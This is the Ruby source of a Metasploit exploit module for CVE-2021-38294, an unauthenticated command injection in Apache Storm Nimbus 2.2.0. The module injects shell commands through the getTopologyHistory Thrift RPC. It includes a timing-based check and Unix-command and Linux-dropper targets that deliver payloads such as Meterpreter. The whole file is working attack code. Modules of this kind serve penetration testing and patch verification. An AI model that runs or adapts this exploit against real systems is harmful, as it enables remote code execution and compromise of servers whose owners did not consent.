Apache Storm Nimbus 2.2.0 Command Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/thrift'
require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  Thrift = Rex::Proto::Thrift

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm.
          The getTopologyHistory RPC method method takes a single argument which is the name of a user which is
          concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there
          must have been at least one topology submitted to the server. The topology may be active or inactive, but at
          least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm.

          This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0
          which is affected.
        },
        'Author' => [
          'Alvaro Muñoz', # discovery and original research
          'Spencer McIntyre', # metasploit module
        ],
        'References' => [
          ['CVE', '2021-38294'],
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/']
        ],
        'DisclosureDate' => '2021-10-25',
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 6627,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
  end

  def check
    begin
      connect
    rescue Rex::ConnectionError
      return CheckCode::Unknown('Failed to connect to the service.')
    end

    sleep_time = rand(5..10)
    response, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}", { disconnect: false })
      recv_response(sleep_time + 5)
    end
    disconnect

    vprint_status("Elapsed time: #{elapsed_time} seconds")

    unless response && elapsed_time > sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    CheckCode::Appears('Successfully tested command injection.')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, opts = {})
    # comment out the rest of the command to ensure it's only executed once and prefix a random tag to avoid caching
    cmd = "#{cmd} ##{Rex::Text.rand_text_alphanumeric(4..8)}"
    vprint_status("Executing command: #{cmd}")

    send_request([
      Thrift::Header.new(message_type: Thrift::MessageType::CALL, method_name: 'getTopologyHistory'),
      Thrift::Data.new(data_type: Thrift::DataType::T_UTF7, field_id: 1, data_value: ";#{cmd}"),
      Thrift::Data.new
    ].map(&:to_binary_s).join)
    disconnect if opts.fetch(:disconnect, true)
  end

  def send_request(request)
    connect if sock.nil?
    sock.put([ request.length ].pack('N') + request)
  end

  def recv_response(timeout)
    remaining = timeout
    res_size, elapsed = Rex::Stopwatch.elapsed_time do
      sock.timed_read(4, remaining)
    end

    remaining -= elapsed
    return nil if res_size.nil? || res_size.length != 4 || remaining <= 0

    res = sock.timed_read(res_size.unpack1('N'), remaining)

    return nil if res.nil? || res.length != res_size.unpack1('N')

    return res_size + res
  rescue Timeout::Error
    return nil
  end
end